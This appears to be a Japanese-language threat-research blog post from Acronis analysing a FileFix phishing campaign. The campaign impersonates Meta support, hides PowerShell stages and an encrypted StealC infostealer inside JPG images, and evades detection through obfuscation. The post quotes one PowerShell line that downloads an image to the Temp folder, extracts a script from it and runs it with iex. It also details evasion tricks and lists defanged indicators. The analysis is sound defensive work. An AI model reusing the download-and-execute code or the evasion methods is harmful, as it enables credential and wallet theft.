2025年11月7日(金)

FileFix の台頭!PoC を乗り超えてステガノグラフィを悪用した新たなキャンペーンが始動

著者: Eliad Kimhy

エグゼクティブサマリー:

  • FileFix PoC を超え、実戦で巧妙に悪用された初の事例: アクロニス脅威リサーチユニット(TRU)の研究者は、当初の概念実証(PoC)の設計に厳密には従っていない攻撃の最初の例として、実環境で進行中の稀有な FileFix キャンペーンを発見しました。
  • *Fix 攻撃とその亜種の急増: この数ヵ月で、ClickFix 攻撃が 500% 以上急増し、FileFix に代表される新たな亜種も出現しています。FileFix は、7月初旬に研究者の d0x 氏によって初めて理論化され、開発が PoC 段階に入りました。
  • 洗練されたフィッシングインフラ: この観測されたキャンペーンでは、実に信ぴょう性の高い多言語フィッシングサイト(例: 偽の Facebook セキュリティページ)が使用されており、解析対策や高度な難読化技術によって検知を回避しています。
  • ステガノグラフィを使った悪意あるコードの秘匿: この攻撃は独特で、ステガノグラフィを悪用して、第2段階の PowerShell スクリプトと暗号化された実行可能なペイロードの両方を、一見無害な JPG 画像内に埋め込んでいます。これらの画像は、最初のペイロードによってダウンロードされ、悪意のあるコンポーネントを抽出して実行するために解析されます。これにより検知することは一層困難になります。
  • 難読化と検出回避機能を重層化した多段階ペイロード: 感染チェーンは、多段階ペイロード配信システムを軸に構築されています。検知を回避するためにコンポーネントを分割してエンコードする、高度に難読化された PowerShell コマンドから始まります。次の段階では、さらにペイロードを復号・展開して実行します。ここでは、変数ベースのコマンド構築、Base64 エンコーディング、暗号化された URL などの手法を駆使してステルス性を最大化して、セキュリティ対策の回避を図っています。
  • 最終段階のペイロードは StealC インフォスティーラーを配信: 最終段階は、StealC インフォスティーラーを実行するローダー(Go で記述され、VM/サンドボックスチェックと文字列暗号化を内蔵)を展開し、ブラウザ、暗号通貨ウォレット、メッセージングアプリケーション、クラウド認証情報を標的にします。StealC はさらに、追加のマルウェアをロードすることができます。
  • 急速に進化し、世界中を標的に: このキャンペーンは過去2 週間で急速に進化しており、複数の亜種とペイロードが観測されています。このキャンペーンに関連する検出数の増加は、攻撃が加速している可能性を示しています。インフラと多言語対応から、世界中を狙った戦略が見て取れ、多くの国で被害が出ている恐れがあります。

はじめに

先週初め、TRU の研究者は、実世界においてFileFix 攻撃の珍しい例を発見しました。これは悪名高い ClickFix 攻撃ベクターの新たな亜種です。今回発見された攻撃は、FileFix を利用しているだけでなく、当社の知る限り、2025 年7月におけるオリジナルの概念実証(PoC)demonstrated by Mr. d0x の設計を踏襲していない初の例です。さらに、この攻撃は洗練されたフィッシングサイトとペイロードを特徴としており、いくつかの顕著な例外を除けば、過去に見られた ClickFix や FileFix 攻撃で想定していた攻撃力を多くの点で上回っています。

この研究は、PoCがいかに迅速に攻撃ベクトルへと転化し得るかを示す興味深い事例であるだけでなく、こうした研究動向を常に把握しておくことの重要性を強調しています。そして同時に、ClickFix や FileFix に代表される *Fix 攻撃の強力な実例でもあります。 この攻撃の背後にいる敵対者は、フィッシングインフラ、ペイロードの配信、周辺要素を綿密に設計し、回避性と攻撃効果の両面を最大化するために、攻撃技術に多大な投資を行っていることが示されました。これは、当チームがこれまでに観測した中でも、最も洗練された *Fix 攻撃の事例の1つです。

この攻撃で用いられた手法の多くは、どの ClickFix 攻撃や FileFix 攻撃にも効果的に適用することができるため、*Fix 攻撃の増加を懸念する関係者は、特にその点を注視すべきです。この攻撃には、関数名の改変や縮小などの解析回避メカニズムの他、多言語ルアーが組み込まれています。さらに、カスタムメイドの PowerShell ペイロードが、ステガノグラフィ経由で JPG 画像から第2段階のスクリプトと実行ファイルを取得し、変数を使用してその活動を隠ぺいします。後半の 3 手法は、ClickFix や FileFix の手口としては非常に珍しく、特にステガノグラフィが *Fix のペイロード経由で直接配信されるケースは、当社がこれまでに遭遇したことはありませんでした。

このブログでは、セキュリティチームが *Fix 攻撃を検知し、緩和するのに役立つよう、攻撃の全貌を詳細に分析した結果をお届けします。

 

ClickFix、FileFix、そして AllFix 攻撃とは?

AllFix または *Fix 攻撃とは、ClickFix、FileFix、PromptFix、その他の亜種を含む一連の攻撃手法の総称で、ここ数ヵ月の間に新たな亜種が警戒すべき勢いで登場しています。

この手法の基本は、被害者を誘導して攻撃者の手口を代行させる点にあります。被害者は攻撃者のペイロードを自分の端末(あるいは Windows の Run ダイアログなど、OS の該当する部分)にコピー&ペーストし、自発的に実行するよう仕向けます。これを別の犯罪に言い換えれば、スリが自ら苦労して盗もうとする代わりに、財布と家や車の鍵を渡してくれないかと、被害者に丁重に頼むようなものです。

なぜそのようなことをさせられるのでしょうか。その理由は、攻撃のタイプやソーシャルエンジニアリングの手口によって異なります。*Fix 攻撃の中で最も一般的な ClickFix は、ユーザーに偽の CAPTCHA テスト(人間とボットを区別するテスト)を行うよう求めます。信号や自転車を繰り返し選ばせるような面倒な操作ではなく、与えられる指示はいたってシンプルです。Win+R を押して Windows の Run ダイアログを開き、「私はロボットではありません」などの文言の裏に隠されたコマンドを Ctrl+V で貼り付け、Enter キーを押させるだけです。被害者が「とても簡単だ」と思ったその瞬間に、情報窃取型マルウェア やランサムウェアなどに感染します。

Acronis
図 1: 典型的な ClickFix 攻撃。悪意あるコードを被害者に実行させるようしむけている

一見成功しそうもない手口に思えるかもしれませんが、ClickFix はここ数ヵ月で急増しており、ありふれたスティーラーから国家が仕掛けるリモートアクセス型トロイの木馬まで、攻撃によって複雑さと目的はさまざまです。これらの攻撃はすべて、巧妙なソーシャルエンジニアリングにのみ依存していると言えればよいのですが、実際にはそうでないものもあります。しかし、他の多くの攻撃は、単に「ターミナルを開いて、このコマンドを貼り付けて、人間であることを証明してください」と頼むだけです。これを巧妙だと言えるでしょうか?言えません。だませているのでしょうか?そのようです。おそらくこれは、ボットやボット対策という問題を解決しようとした結果、別の問題が生じた一例かもしれません。ボット対策があまりに複雑で面倒になった結果、ユーザーはターミナルにコマンドを貼り付ける行為が、かえって簡単で妥当な方法に見えてしまうのです。

Acronis
図2: FileFix は、対照的にファイルアップロード画面のアドレスバーに悪意あるコマンドをペーストするようユーザーに要求する

FileFix は一般的な ClickFix とは少し異なり、今回のケースでは思わず信じてしまうソーシャルエンジニアリング攻撃が行われていました。FileFix 攻撃では、Win+R のショートカットでターミナルや Run ダイアログを開かせようとする手法は使われていません。その代わりに、攻撃者は HTML のファイルアップロード機能を利用してアップロードボタンを作成します。Windows 環境での正常の操作では、ファイルアップロードボタンを押すとファイルエクスプローラーが開き、ユーザーはサイトにファイルをアップロードできます。しかし、FileFix 攻撃では、ユーザーをだまして悪意のあるコマンドをファイルエクスプローラーのアドレスバーに貼り付けさせます。その結果、コマンドが端末上で実行されてしまいます。これにより、攻撃者はありふれた ClickFix 攻撃よりも優位に立てる可能性があります。この点については、後ほど詳しく説明します。

初期アクセス

先に述べたように、この攻撃はフィッシングサイトを軸に進行します。過去の ClickFix の事例やフィッシングサイト自体の特徴から判断すると、被害者はフィッシングメールによってこの偽サイトに誘導されるケースが多いと推測されます。このメールでは、攻撃者が Facebook のセキュリティ担当者になりすまし、被害者にまもなくアカウントが停止されることを通知して、フィッシングサイトへ誘導する手口が多いようです。

被害者がフィッシングサイトに入ると不安にさいなまれます。なぜなら、自分のアカウントが7日以内に停止されるという警告を受けるからです(攻撃者は親切にもアカウントを停止する日付まで提示しています)。さらに悪いことに、180 日以内に異議申し立てがない場合、アカウントは永久に無効になる、と脅されます。続いて、被害者にはそのページ上で異議申し立てが可能であるかのような選択肢が提示されます。良かったと思うでしょう。

Acronis
図3: フィッシングサイトは Meta のヘルプサポートページの外観を模倣している

被害者が異議を申し立てることを選択すると、Meta チームから PDF ファイルを見るよう告げられます。その PDF には、異議申し立ての方法が書かれているとのことで、 それを見るために、「エクスプローラーを開き、PDF のファイルパスを貼り付けてください」と指示されます。しかし残念ながら、開いた「ファイルエクスプローラー」はファイルのアップロードウィンドウであり、そのアドレスバーに貼り付けたパスはペイロードなのです。ペイロードの実行が終わると、「ファイルが見つかりません」という警告が表示され、さらにページ上の[続行]ボタンを押すと、「手順を完了してください」といったエラーメッセージが繰り返し表示されます。こうして被害者は、ファイルも手に入らず、異議申し立てもできないまま行き詰まってしまいます。

Acronis
図4: 攻撃者は、被害者にファイルアップロードウィンドウのアドレスバーに悪意あるコマンドを貼り付けるよう仕向ける
Acronis
図5: 18,000 行の悪意のあるコードが 12 行 に縮小され、解析がより困難になっている

このサイトは高度に難読化されており、複数の解析回避手法を実装して書かれていました。変数名や関数名はランダムな文字の組み合わせで構成され、コードは断片化されてスクリプト全体に散りばめられていました。無意味なコードや解析を惑わせる仕掛けがあふれています。誤解しないでいただきたいのですが、これは ClickFix サイトの標準的な手法ではありませんが、JavaScript ベースのマルウェアではごく一般的な手法です。しかし、今回のケースでは、難読化を解読するのは難しく、何千行ものコード、変数、関数を丹念に調べるはめに陥りました(おそらくサイトの作者の狙い通りです)。このため、解析は困難を極め、このコードに仕込まれた要素をすべて明らかにできたとは言い切れません。

Acronis
図6: 縮小を解除しても、コードは依然として高度に難読化されており、関数名や変数名はランダムな文字列に書き換えられている

しかし調査の結果、アラビア語、ロシア語、ヒンズー語、日本語、ポーランド語、ドイツ語、スペイン語、フランス語、マレー語、ウルドゥー語などに翻訳された 16 言語版が存在することを突き止めました。このサイトの制作には多くの労力が費やされており、その狙いは明確で、攻撃の到達範囲を最大化することです。

Acronis
Acronis
図 7-8: このサイトは、世界中の多くの言語に翻訳されている

テーマのバリエーション

私たちは、同じサイトの亜種をいくつか発見しました。これらはすべて過去 2 週間以内にアクティブになっており、それぞれのペイロード、手法、ファイル、そして時にはソーシャルエンジニアリングの文言もわずかに異なっていました。このサイトの過去バージョンを調べると、ソーシャルエンジニアリングと技術的観点の両面から、攻撃の進化をたどることができます。今回のケースでも、背後にいるグループは、その手法の完成度を着実に高めようとしているようです。

ペイロードは 1 行のコードとして配信されています。PowerShell コマンドは一部が Base64 で難読化され、フィッシングサイトで使用されている JavaScript コードと同様の手法で断片化されています。これは、*Fix 攻撃としては珍しく複雑な配信方法です。これまで観測したほとんどのペイロードは平文で、部分的に難読化されているものもありましたが、これほど複雑ではありませんでした。FileFix 攻撃の中では、この手法はユニークかつ異例なほど複雑なアプローチであり、興味深い研究対象となります。

ペイロード 1: 写真を介して配信されるマルウェア

この攻撃のすべての段階の内、この最初のペイロードスクリプトが特に私たちが関心を寄せた部分です。被害者は、 Facebook アカウントを抹消されようとする悲劇に見舞われ、指示通りファイルアップロードのアドレスバーに悪意のあるコマンドを貼り付け、異議申し立ての手順が示された「インシデントレポート」が表示されるのをひたすら待っています。その間にバックグラウンドでは、いくつもの処理が進行しますが、そのすべては一枚の画像から始まります。

Acronis
図 9: 悪意あるスクリプトや実行ファイルをホスティングするために使用される画像

のどかな風景を思い浮かべてください。草原の美しい家、手前にはヒナギクが咲き、朝露に濡れた葉にカタツムリのアップ写真。これまでに紹介したペイロードは、いずれもこのような画像を起点として始まっています。これらの JPG ファイルは、単に芸術を鑑賞するために置かれているわけではありません。それぞれの画像には、第 2 段階の PowerShell スクリプトと実行可能なペイロードが仕込まれています。画像はそれぞれ微妙に異なっており、サイトのバージョンごとにペイロードも異なっています。画像はすべて AI によって生成されたようです(確証はありません)。「大草原にある家ののどかな風景」を生成させて、そこに悪意のあるコードを仕込んだと想像すると、ちぐはぐなように思えます。とはいえ、これが今の時代なんでしょう。

Acronis
図 10: 画像の文字列の中に悪意ある第 2 段階のスクリプトが確認できる
Acronis

ここで注意すべき点がいくつかあります。

1.    ユーザーに「インシデントレポート」の PDF ファイルへのパスを貼り付けていると思わせるために、攻撃者はペイロードの末尾に変数を配置しており、その変数には多数の空白と最後に偽のパスが含まれています。これは、ファイルのパスだけがアドレスバーに表示され、実際の悪意あるコマンドは表示されないようにするためです。平均的な ClickFix 攻撃では、同様なことが変数の代わりに # 記号を使って行われ、PowerShell はこれを開発者コメントとして認識します。これには攻撃者にとって思いがけないメリットがあります。ClickFix の「#」記号を検知するよう構築された防御は、今回のケースを見逃してくれるでしょう。

2.    これは明らかに長いコマンドで、平均的な ClickFix のペイロードよりもはるかに長くなっています。Base64 でエンコードされたペイロードが含まれているだけでなく、スクリプトで使用されるすべてのクラスや名前空間がいくつかの小さなコンポーネントに分割され、変数として挿入されています。その後、これらの変数が呼び出され、最終的に元の完全なコマンドが再構築されます。この仕組みにより、スクリプトのパターンマッチング型の検知をすり抜ける力が格段に向上します。

3.    攻撃者は、攻撃に使用される画像を Bitbucket により配信しています。過去 2 週間にわたり、ペイロードの進化を観測したところ、攻撃者は、elprogresofood[.]com のような自らが管理する悪意あるドメインから、主に Bitbucket でのホスティングへと移行していることが確認されました。これにより、攻撃者はさらに検知を回避することができ、悪意あるドメインの登録と管理を続ける必要がなくなります。

Acronis
図 11: 検知を回避するため、悪意あるコマンドは断片化して変数に格納され、必要に応じて呼び出される

攻撃者は、ステガノグラフィ、難読化、コマンドの断片化だけでは飽き足らず、一部のペイロード亜種では、URL まで暗号化しています。URL は、ペイロードにハードコードされたキーを用いて XOR 演算で暗号化され、さらに 16 進数のバイト列にエンコードされています。暗号化された URL は、実行時に復号化され、デコードされます。

Acronis
図 12: スクリプトの後続の反復では、XOR コマンドを用いて URL を暗号化している

Base64 でエンコードされたビットの中にペイロードの中核部分があります。

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

ここでは、スクリプトが画像を被害者の Temp フォルダにダウンロードし、画像ファイルの特定のインデックスに格納された第 2 段階の PowerShell スクリプトを抽出します。一旦抽出され、文字列に変換されると、スクリプトとして実行されます。

ペイロード 2: 第 2 段階のスクリプトは、復号化し、抽出し、起動する

第 2 段階のスクリプトの役割は、画像から悪意のあるペイロードを抽出することです。そうなのです。ペイロードを取得するために、素敵でのどかな風景にもう一度戻るのです。第 2 段階のスクリプトは、画像に平文で格納されています(そのため検知可能ですが、画像ファイル自体に悪意はないため、それだけでアラートが出ることはまずありません)。それに対して、実行可能なペイロードは画像内に暗号化されています。第 2 段階のスクリプトは、まず 2 つの関数を設定することから始まります。1 つは RC4 復号化を使用してファイルを復号化する関数で、もう 1 つは gzip を使用してファイルを解凍する関数です。

Acronis
図13: 第 2 段階のスクリプトには、悪意あるペイロードを復号化および抽出する関数が含まれている

これらの関数が定義されると、スクリプトはファイルを抽出する作業に取りかかります。

Acronis
図14: 1 つの画像から複数のペイロードを抽出できるため、攻撃者は柔軟に対応できる

このスクリプトは、複数のファイルを配信することが可能で、DLL と実行可能ファイルの両方を配信できます。画像内の各ファイルの始点と終点を示すインデックスが提供されると、スクリプトは各ファイルを抽出・復号化し、拡張子を識別したうえで、各ファイルに応じた適切な方法で実行します(たとえば、DLL ファイルは実行しないようにするなど)。各 EXE ファイルは、conhost.exe を介して実行され、12 分後に削除されます。最後に、偽のエラーメッセージがポップアップし、被害者に「ファイルを開けません!」と通知します。

こうして、処理は最初に戻ることになります。ユーザーからすれば、ここまでは指示通りにファイルパスを貼り付けただけです。その後しばらくして、ユーザーは「ファイルを開けません!」というエラーメッセージを受け取ります。このフィッシングサイト上では、ファイルを開くまで先に進むことはできません。実質的に身動きがとれない状態に陥ります。その間に、裏ではペイロードがユーザーの端末にドロップされ、ロードされているのです。

攻撃者がスクリプトを 2 段階に分けた理由は、いくつか考えられます。1 つ目の理由は、画像ファイルに第 2 段階を埋め込むことで、攻撃者はフィッシングサイト上のペイロードを変更することなく、ドロップするファイルを柔軟に変更することができます。2 つ目は、検出を回避するために、Base64 でエンコードされたコマンドのサイズを小さくすることで、目立ちにくくしています。

総じて、この一連のスクリプトは、*Fix ペイロードの現状では異彩を放っています。このアプローチには、攻撃者が通常以上のステルス性を発揮し、検出回避へ奮闘している様子がうかがえます。そして、ペイロードは、さまざまなシナリオで幅広いマルウェアを配布できる柔軟性を備えています。使用されているステガノグラフィは、多くの点で興味深いものであり、特に *Fix 攻撃の領域では稀な手法です。これにより、攻撃者は追加のステルス層を確保でき、防御側はダウンロードされた画像ファイルを疑うことなく、警鐘が出ることもないでしょう。こうした手口が組み合わさることで、複雑かつ巧妙な感染が可能になりました。特に ClickFix や FileFix を利用した他の攻撃と比較してもその威力は際立っています。

ペイロード 3: 難読化されたローダー

そして次は、いよいよ攻撃の核心ともいえるペイロードです。ただし、今回に限ってはそれほどでもないかもしれません。誤解のないように言うと、これは興味深いローダーです。Go で書かれ、VM チェックや難読化技術を併用し、最後にシェルコードを復号してメモリにロードします。その後、このシェルコードは StealC をアンパックします。StealC は広く使われている優れた情報窃取マルウェアで、いざという時はダウンローダーやローダーとしても使えます。悪くはないけれど、私たちはもっと革新的な仕掛けを想定していましたので、さらなる展開があるかもしれません。この 2 週間、私たちはペイロードが進化し、成長し、変貌を遂げるのを見てきました。現在のところ、攻撃手口はなおも変化を続けているようです。

しかし、まずは何よりも先にこのケースを片づけましょう。第 2 段階のスクリプトによって実行されると、ペイロードはサンドボックス検査を行い、実行中の環境が VM かどうかを判定します。この検査は比較的簡易なものであり、ペイロードは VM やサンドボックス環境でよく使われるグラフィックカード名のリストを復号します。続いて、EnumDisplayDevicesA 関数を呼び出し、各デバイスをブロックリストに登録されたグラフィックカードのリストと照合します。私たちにとって幸いなことに、この照合は簡単に回避できます。

Acronis
図 15: ブロックリストに登録されたグラフィックスカードの名前は、実行時に復号化・ロードされる。

余談ですが、ローダーが実行するすべての文字列は、すべての API コールの名前を含めて暗号化されています。ローダーには、EnumDisplayDevicesA、NtAllocateVirtualMemory などの API コールの名前を取得するための関数がいくつか含まれています。皮肉なことに、(少なくともこの記事を執筆している時点では)暗号化されていないのは、API コールの名前を解読してメモリに保存する関数そのものの名前だけで、getNtAllocateVirtualMemory や、getEnumDisplayDevicesA などという分かりやすい名前が付いています。私たちが観測しているものは、まだ開発途上だと考えるのは決して的外れではありません。攻撃者は今後、このローダーの機能を向上させ、おそらく最終的には別のペイロードを組み合わせることでしょう。

Acronis
図 16: ローダーが使用するすべての API の名前は、検出を避けるために実行時に復号されロードされる

最後に、VM のチェックを通過(または回避)できると、ローダーはシェルコードを復号してロードし、その結果 StealC 感染へとつながります。StealC は、ユーザーの環境からパスワード、Web ブラウザ情報、人気のゲームやチャットアプリケーション、暗号通貨データに関する情報などを収集し、攻撃者に送り返します。

Acronis
図 17: StealC は、中国企業の Tencent を含む複数のブラウザから情報の窃取を試みる

私たちが分析した結果、StealC は多数のプログラムから情報を盗もうとしています。その標的には、Chrome、FireFox、Opera、Explorer、QQ Browser、Quark、UC Browser、Sogou Explorer、Maxthonなどのブラウザが含まれます。また、以下のような多くの暗号通貨ウォレットを探し出して情報を盗もうとします。Bitcoin、Dogecoin、Ravencoin、Daedalus、Mainnet、Blockstream Green、Wasabi Wallet、Ethereum、Electrum、Electrum-LTC、Ledger Live、Exodus、Electron Cash、MultiDoge、Jaxx Liberty、Atomic Wallet、Binance、Coinomi、Guarda。さらに、Thunderbird、Telegram、Discord、Tox、Pidgin、Ubisoft Game Launcher、Battle.net、OpenVPN、ProtonVPN などのメッセージング、VPN、データベースアプリケーションから情報を収集し、Azure や AWS のキーも取得します。

進化

調査を通じて、2 週間前からこの攻撃の亜種が何度も出現していることが分かりました。これらの亜種を通して、ソーシャルエンジニアリングの手法と、攻撃のより技術的側面の両方で進化の過程をたどることができます。おそらくこれは、攻撃者が将来使用する予定のインフラをテストしていることを示しているか、あるいはキャンペーンの途中で攻撃に変種を加え、学習しながら改良していることが考えられます。

この 2 週間で、私たちはペイロードが進化するのを目の当たりにしました。当初は、実行可能ペイロードの抽出・復号部分を含む完全なスクリプトとして構成された単一段階の PowerShell ペイロードでしたが、現在は、2 段階スクリプトへと変化し、さらに、ドロップされる可能性のある .exe ファイルおよび .dll ファイルのリストを含むように進化しています。しかし、その間を通じて、最初からステガノグラフィはこの攻撃の中核的な要素でした。この攻撃の最新の亜種では、Bitbucket 上にホスティングされている .log ファイルから、第 1 段階のスクリプト全体をロードしているようで、残りの部分は変更されていません。

実行可能なペイロードも変更されています。過去の攻撃では、説明した Go シェルコードローダーの代わりに、OLLVM で難読化されたバイナリが配布されていました。

そして最後に、攻撃のソーシャルエンジニアリングの手法も若干変更されました。当初は、ユーザーがアカウント削除を避けるために、身分証明書をアップロードさせることが目的で、閲覧させられたファイルには身分証明書をサイトにアップロードする手順が書かれていました。後続の亜種では、所謂被害者の規定違反とされる事項を詳細に記載した文書に変更されましたが、奇妙なことに、ユーザーが身分証明書をアップロードする必要があるという文言はそのまま残されていました。

これは、FileFix とそれに関連する 2 段階のスクリプトを完璧に使いこなそうとする一方で、被害者のマシンにどのようなペイロードをドロップすることもできる柔軟性も持ち合わせるようにインフラが進化し続けていることを示唆しています。私たちは、今後もこの脅威を追跡し続け、さらに多くの知見を得たいと考えています。

インフラ、攻撃者、被害者

この攻撃に関連するファイルやフィッシングサイトが VirusTotal(VT)に提出され、調査した結果、このキャンペーンは、単一の国や地域に限定されていない可能性が示されました。確定的ではないものの、米国、バングラデシュ、フィリピン、チュニジア、ネパール、ドミニカ共和国、セルビア、ペルー、中国、ドイツなどから、ツールやフィッシングサイトが VirusTotal に提出されていることが確認できます。さらに、フィッシングサイトに多言語の翻訳が存在することから、この攻撃は世界中のユーザーを狙っていると考えられます。

同様に、攻撃者の正体を突き止めるのは容易ではありません。私たちが調査した結果、主要な C2 アドレス 77[.]90[.]153[.]225 がドイツにあることが判明しました。しかし、この事実だけでは攻撃者の身元や所在地を正確に特定するには不十分です。複数段階の配信、ステガノグラフィ、難読化、暗号化を含むペイロード配布の手法とその複雑さから、より巧妙で組織だった攻撃者によるものであることを示しています。

結論

ClickFix は、すでに PoC の段階から実世界での攻撃に用いられるようになり、ここ数ヵ月でその利用は拡大しつつあることが観測されました。そして今、FileFixでも同じ傾向が見られます。PoC からキャンペーンまで約 2 ヵ月しかかかっていません。それだけでなく、この攻撃は高度に洗練された方法で行われ、多数の難読化と解析回避手法を駆使することで、発見されにくくし、最大級の被害を与えることを狙っています。

私たちは、今後もこのキャンペーンが進化していく様子を観測しながら、攻撃インフラ、方法論、ペイロードに関する新たな展開を探るとともに、攻撃者の正体に迫る手がかりを得るよう努めます。今回の攻撃は、FileFix を巧みに利用したものであり、その利用方法が今後どのように進化していくのか、攻撃手法として ClickFix に取って代わるのか、あるいは凌駕するのか注視する必要があります。その間、私たちはこのキャンペーンや類似のキャンペーンを追跡し、セキュリティチームの防御に役立つ推奨事項を提供し続けます。

推奨事項およびアクロニスによる検知

Acronis XDR のお客様は、この攻撃から保護されています。Acronis XDR は、PowerShell ペイロードが実行される時点と、ペイロードの実行ファイルが起動される時点の両方で攻撃を検知します。

Acronis
図 18: ペイロードの実行を阻止する Acronis XDR

この攻撃、そしてとりわけ FileFix への対処方法に関しては、2 つの有力な推奨事項が挙げられます。

1 つ目は教育です。ここ数年間で、ユーザーはフィッシング攻撃、特に添付書類を介して行われるフィッシング攻撃に対して、警戒心が顕著に高まっています。*Fix 攻撃がユーザーのフィッシング攻撃に対するユーザー意識の死角とならないようにするためには、こうした攻撃に関する教育を進め、フィッシング攻撃に関する企業研修に取り入れることが重要です。そうすることで、少なくともユーザーはこの種の指示に盲目的に従う前に、一旦立ち止まることができるはずです。とりわけ、*Fix 攻撃に共通する要素であるクリップボードの扱いに焦点を当てたトレーニングを行う必要があります。さらに、ユーザーに対して、OS のどのかの領域に何かをペーストするよう求める Web サイトには十分警戒するよう注意喚起すべきです。

2 つ目の推奨事項は、この攻撃の実行経路を遮断することです。セキュリティチームは、端末上の任意の Web ブラウザから子プロセスとして生成されるPowerShell、CMD、MSIEXEC、または MSHTA の実行を監視し、可能な限り阻止する必要があります。この対策により、通常の業務に大きな支障をきたすことなく、この攻撃の起動を阻止することができます。

Acronis
図 19: FileFix PowerShell ペイロードの実行を阻止する Acronis XDR

もう 1 つの有効な防止策として、PowerShell コマンドでダウンロードされる画像ファイルに注目することが考えられます。画像のダウンロードを阻止するか、迅速に隔離できれば、ペイロードが投下される前に攻撃を阻止することができます。

 

侵害の指標

ハッシュ

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

 

IP

77[.]90[.]153[.]225

 

ドメイン

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW